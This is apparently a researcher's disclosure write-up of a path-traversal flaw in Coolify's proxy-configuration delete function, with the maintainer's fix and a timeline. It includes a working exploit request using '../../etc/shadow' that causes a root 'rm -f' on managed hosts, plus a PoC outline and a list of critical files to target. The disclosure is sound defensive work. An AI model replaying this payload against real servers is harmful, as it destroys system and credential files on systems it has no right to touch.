# Deleting any file on a Coolify managed server with a single `..`

## I. Introduction

Coolify is an open-source, self-hostable PaaS that lets you deploy apps, databases, and pre-baked services on your own servers — the "Vercel/Heroku/Netlify replacement, but you own the box" pitch. It runs as a Laravel/Livewire control plane that holds SSH keys to one or more "managed" servers and pushes deploys, container lifecycle calls, and proxy configuration to them over `ssh + rm/docker/bash`. The default install puts that control plane and the first managed server on the same host, as `root`.

![](https://cdn.hashnode.com/uploads/covers/65102b1d5866800ea27ebefa/9026ae49-5d81-4290-a2cc-642e66f1cdfe.png align="center")

It is one of the most popular self-hosted-PaaS projects on GitHub (`coollabsio/coolify`, ~57k stars), used as the deployment/orchestration layer of a large number of small teams and side projects, and increasingly of small SaaS shops who want a Heroku ergonomic without the bill. The blast radius of a Coolify control-plane bug is "every server that Coolify holds an SSH key to."

**Vulnerable version:** `coollabsio/coolify <= 4.1.0` every release through v4.1.0 (the latest tag at the time the report was filed), including `ghcr.io/coollabsio/coolify:latest` (= v4.1.0).

**Advisory:** https://github.com/coollabsio/coolify/security/advisories/GHSA-grx5-36vg-ghvq

**CVE:** [CVE-2026-53772](https://www.cve.org/CVERecord?id=CVE-2026-53772) issued by GitHub after CVE-rules compliance review;

**Merged fix (validator):** `fix(proxy): tighten config validation` — commit `419593e7d4`, PR [coollabsio/coolify#10503](https://github.com/coollabsio/coolify/pull/10503), merged into `next` on 2026-06-02; shipped in release `v4.1.2` on 2026-06-04.

## II. Target selection

Coolify fit all three. ~57k stars, PHP/Laravel, the entire control plane (UI, queue, deploy logic) is in-tree, the install model is "Coolify SSHes into the managed servers as root," and **the prior advisory,** `GHSA-q7rg-2j7p-83gp` **/** `CVE-2025-66212`**, was a critical (RCE) command-injection fix landed on 2026-01-03 against exactly one function:** `DynamicConfigurationNavbar::delete($fileName)`. The fix shape was "we added a validator and `escapeshellarg()` now it's safe." That phrasing on a `rm -f` shell call against a user-controlled path is the canonical incomplete-fix shape: shell-injection is gone, but path traversal lives in a different layer. That was the entire reason I picked the file.

## III. Finding

I cloned `coollabsio/coolify`, pointed Claude Code (Opus 4.7) at the tree, and ran one prompt:

```plaintext
You are auditing the patched function from GHSA-q7rg-2j7p-83gp / CVE-2025-66212.

The original advisory was "Authenticated RCE via Command Injection in Dynamic
Proxy Configuration Filename." The fix in commit 0073d045fb added a validator
(validateShellSafePath) and wrapped the path in escapeshellarg() before
passing it to a shell `rm -f`.

Do NOT trust that "validated + escapeshellarg = safe." That is the
fix-author's premise, not a proof. For every patched sink reachable via the
delete()/create() flows of that advisory, list distinct ways an attacker can
still influence the post-shell resolution of the path the kernel actually
opens. Treat shell parsing and path resolution as two separate layers. For
each candidate, output:

## Candidate N
- Sink (file:line):
- What the validator does and does NOT reject:
- What escapeshellarg() does and does NOT prevent:
- Attacker-controlled bytes that survive both:
- Authorization required to reach the sink (read the policy class, do not
  guess from the controller annotation):
- Concrete payload:
- What the kernel ends up touching:

Verify each candidate by reading the source, not by reasoning about it.
```

Claude came back with one high-confidence candidate after about a minute. The data flow is short:

```plaintext
POST /livewire/update
  → App\Livewire\Server\Proxy\DynamicConfigurationNavbar::delete($fileName)
      $this->authorize('update', $this->server);
         → App\Policies\ServerPolicy::update()  ──►  return true; // (!)
      $file = str_replace('|', '.', $fileName);
      validateShellSafePath($file, 'proxy configuration filename');  // <- gap
      $fullPath    = "{$proxy_path}/dynamic/{$file}";                 // attacker controls $file
      $escapedPath = escapeshellarg($fullPath);                       // does not strip ..
      instant_remote_process(["rm -f {$escapedPath}"], $this->server);// SSH into managed host
```

The vulnerable function:

```php
public function delete(string $fileName)
{
    $this->authorize('update', $this->server);
    $proxy_path = $this->server->proxyPath();
    $proxy_type = $this->server->proxyType();

    // Decode filename: pipes are used to encode dots for Livewire property binding
    $file = str_replace('|', '.', $fileName);

    // Validate filename to prevent command injection
    validateShellSafePath($file, 'proxy configuration filename');

    if ($proxy_type === 'CADDY' && $file === 'Caddyfile') {
        $this->dispatch('error', 'Cannot delete Caddyfile.');
        return;
    }

    $fullPath    = "{$proxy_path}/dynamic/{$file}";
    $escapedPath = escapeshellarg($fullPath);
    instant_remote_process(["rm -f {$escapedPath}"], $this->server);
    ...
}
```

The validator the CVE-2025-66212 fix introduced is in `bootstrap/helpers/shared.php:130`, and its deny-list is **only** shell metacharacters:

```php
$dangerousChars = [
    '`' => 'backtick (command substitution)',
    '$(' => 'command substitution',
    '${' => 'variable substitution with potential command injection',
    '|'  => 'pipe operator',
    '&'  => 'background/AND operator',
    ';'  => 'command separator',
    "\n" => 'newline (command separator)',
    "\r" => 'carriage return',
    "\t" => 'tab (token separator)',
    '>'  => 'output redirection',
    '<'  => 'input redirection',
];
```

`/`, `\`, `..`, `~`, spaces, and quotes are **not** in the list. The same file already ships a stricter sibling, `validateFilenameSafe()` at line 174, which rejects directory separators, `..`, NUL bytes, and shell-expansion characters. `validateFilenameSafe()` is the helper the PostgreSQL init-script flow uses on its filename input. The proxy-delete flow uses the looser `validateShellSafePath()`, even though its value is the same conceptual shape (a single filename meant to live in a fixed directory).

The reasoning that needed to be stated out loud, because it is the entire bug:

*   `validateShellSafePath()` is **a shell-injection guard**. It prevents the resulting string from spawning new argv tokens or command substitutions.
    
*   `escapeshellarg()` is **a shell-quoting guard**. It prevents the resulting string from being re-tokenised by the shell.
    
*   Neither layer prevents the operating system from resolving `..` while opening the path. `rm -f '/data/coolify/proxy/dynamic/../VICTIM'` quotes cleanly, parses as one argv, and the kernel walks the `..` segment before opening the file. The directory traversal happens in the open(2) path, after both validators have already happily passed the input through.
    

That made it a textbook validate-before-canonicalize bug, just at the shell + kernel boundary instead of the URI + filesystem boundary.

There was also an authorization gap I needed to follow up on before scoring the CVSS: the `$this->authorize('update', ...)` at the top of `delete()` runs `App\Policies\ServerPolicy::update($user, $server)`, and at the time of the report that policy method was:

```php
public function update(User $user, Server $server): bool
{
    // return $user->isAdmin() && $user->teams->contains('id', $server->team_id);
    return true;
}
```

The intended role check was commented out — the same `return true;` stub was present for `view`, `create`, `update`, `delete`, `manage`, `cleanup` on `ServerPolicy`, and for `ServicePolicy`, `ServiceApplicationPolicy`, and `EnvironmentPolicy`. Every team `member` (the lowest team role) was therefore allowed to reach the sink, not just admins/owners. That lowered `PR` from `H` to `L`.

### The vulnerable request

In the browser DevTools network tab, find the `POST /livewire/update` that the proxy "Delete" button emits, and change the `fileName` argument in `calls[0].params`:

```json
"calls": [
  {
    "method": "delete",
    "params": ["../../etc/shadow"]
  }
]
```

Replay. The control plane runs:

```bash
rm -f '/data/coolify/proxy/dynamic/../../etc/shadow'
```

on the managed server, over SSH, as the Coolify SSH user typically `root` on a single-node install. `/etc/shadow` is gone.

### PoC against `ghcr.io/coollabsio/coolify:latest` (= v4.1.0)

Two-line standalone reproduction. The first script stands up an unmodified Coolify in Docker on port `8000`; the second script proves the validator gap and runs the exact shell command the sink emits, without going through the browser:

```bash
# 1) Stand up Coolify v4.1.0 in Docker
bash report/evidence/poc_setup.sh

# 2) Demonstrate the validator gap end-to-end
bash report/evidence/poc_validator_gap.sh
```

The second script does:

1.  Plant `/data/coolify/proxy/VICTIM_FILE` (outside the `dynamic/` subdirectory).
    
2.  Inside the Coolify container, run `php artisan tinker` to call `validateShellSafePath('../VICTIM_FILE', 'proxy configuration filename')` — which **returns successfully**, proving the validator does not block path traversal.
    
3.  Execute the exact shell command `DynamicConfigurationNavbar::delete()` would emit: `rm -f '/data/coolify/proxy/dynamic/../VICTIM_FILE'`.
    
4.  List the proxy directory — `VICTIM_FILE` is gone, `legit.yaml` (the only file the user should be able to touch) is intact.
    

Captured transcript on `ghcr.io/coollabsio/coolify:latest` (digest `sha256:2aba30db…`, = v4.1.0):

```plaintext
[+] validateShellSafePath('../VICTIM_FILE') => OK (does not block traversal)
[+] running: rm -f '/data/coolify/proxy/dynamic/../VICTIM_FILE'
[+] BEFORE: VICTIM_FILE  legit.yaml
[+] AFTER : legit.yaml
==> RESULT: VULNERABLE — arbitrary file deletion confirmed on Coolify v4.1.0
```

The primitive is `rm -f '<arbitrary path>'` on the managed host. It does not directly read or write attacker-chosen content — but as soon as the SSH user is `root` (the default), `rm -f` against `/var/run/docker.sock`, `/etc/cron.d/*`, `/data/coolify/source/.env`, `/data/coolify/ssh/keys/*`, `/var/lib/docker/volumes/*`, or any TLS key material is sufficient for full service disruption, credential-rotation pressure, and pre-staging downgrade attacks. On a multi-server install, one team member can wipe files on every managed host the Coolify instance has SSH access to. CVSS 3.1 `AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H` = 8.1 High. Write/RCE was tested and ruled out honestly — the primitive is `rm`, not `tee`.

I submitted the bug through GitHub's "Report a vulnerability" form on the Coolify advisory page the same day. The maintainer team accepted it; the advisory was created as `GHSA-grx5-36vg-ghvq`, and GitHub later assigned `CVE-2026-53772` after CVE-rules compliance review (to be pushed to the CVE List and the GitHub Advisory Database when the GHSA is published).

## IV. Fix

The report bundled both halves of the systemic problem with concrete suggestions: the **validator swap** (the primary CVE) and the `ServerPolicy` **authorization stubs** (the privilege gap that lets `member` reach the sink). The report's "Suggested fix" section was:

```diff
- validateShellSafePath($file, 'proxy configuration filename');
+ validateFilenameSafe($file, 'proxy configuration filename');
```

with the same change applied to `NewDynamicConfiguration.php:47` for defence in depth, and a separate request to flip every `return true;` in `ServerPolicy`/`ServicePolicy`/`EnvironmentPolicy`/`ServiceApplicationPolicy` to the commented-out reference implementation `$user->isAdmin() && $user->teams->contains('id', $server->team_id)`. There was also a "follow-up audit" list of every other caller of `validateShellSafePath()` whose value is conceptually a single filename or a path that must stay under a fixed directory — `LocalFileVolume.php` 90/144/176/200, `Storage.php` 153/197/198, and the API controllers under `Applications/Services/Databases`.

The maintainer, **Andras Bacsai (@andrasbacsai, Coolify founder/lead)**, took it from there. He opened public PR [**coollabsio/coolify#10503**](https://github.com/coollabsio/coolify/pull/10503) *"Improve proxy configuration validation"*, which:

| Change | What it does |
| --- | --- |
| `DynamicConfigurationNavbar::delete()` swap to `validateFilenameSafe()` | Closes the primary CVE-2026-53772 sink |
| `NewDynamicConfiguration::save()` swap to `validateFilenameSafe()` | Defence in depth on the sibling create flow |
| `ServerPolicy` extract `canManageServer()` helper and wire it through `update`, `delete`, `manageProxy`, `manageSentinel`, `manageCaCertificate`, `viewSecurity`; `create` switched to `$user->isAdmin()` | Closes the privilege-escalation surface so the sink is admin-only |
| `tests/Unit/ProxyConfigurationSecurityTest.php` 39 new assertions including `../` and absolute-path payloads | Regression coverage for the path-traversal class |
| `tests/Unit/ServerPolicyAuthorizationTest.php` new file, 66 lines | Regression coverage for the authz half |

Same fix shape I'd recommended on both axes, with one cosmetic improvement: the `canManageServer()` helper that DRYs the six policy methods. Merged into the `next` branch on 2026-06-02 at commit `419593e7d4`.

## V. Timeline

*   **2026-05-20:** Picked Coolify as the next target on the basis that `GHSA-q7rg-2j7p-83gp` (CVE-2025-66212) was a critical RCE in `DynamicConfigurationNavbar::delete()` whose fix landed on the "validator + `escapeshellarg()` = safe" premise. Audited the patched function with Claude Code (Opus 4.7), variant-hunt prompt.
    
*   **2026-05-20:** Confirmed end-to-end on `ghcr.io/coollabsio/coolify:latest` (= v4.1.0). Validator gap + `rm -f` against arbitrary path proved; `member`\-role reachability via `ServerPolicy::update() → true` proved.
    
*   **2026-05-21:** Submitted the report via GitHub Security Advisories. `GHSA-grx5-36vg-ghvq` created the same day at 13:24 UTC, credited to `@StarPlatinu`. Submission marked `accepted`.
    
*   **2026-06-01 13:14 UTC:** Maintainer Andras Bacsai (@andrasbacsai) committed `fix(proxy): tighten config validation` (`419593e7d4`) on the fix branch — validator swap + `ServerPolicy` `canManageServer()` rewrite + new regression tests.
    
*   **2026-06-02 09:07 UTC:** PR **#10503** *"Improve proxy configuration validation"* merged into `next`.
    
*   **2026-06-04 07:54 UTC:** PR **#10452** (`next → v4.x`) merged. Released as **v4.1.2**. The validator fix shipped; the `ServerPolicy` hardening did not make it onto the release branch.
    
*   **2026-06-10:** GitHub issued **CVE-2026-53772** for `GHSA-grx5-36vg-ghvq` after CVE-rules compliance review. The CVE record will be pushed to the CVE List and the global GitHub Advisory Database once the advisory is published.
    

The whole pipeline — picking the target on an incomplete-fix hypothesis, sink-first audit on a ~57k-star PHP/Laravel codebase, Docker PoC against the latest published image, advisory submission with both the validator fix and the authorization fix in the suggested-fix section, and tracking the maintainer's PR through `next → v4.x` to verify what actually shipped — ran inside Claude Code on Opus 4.7.
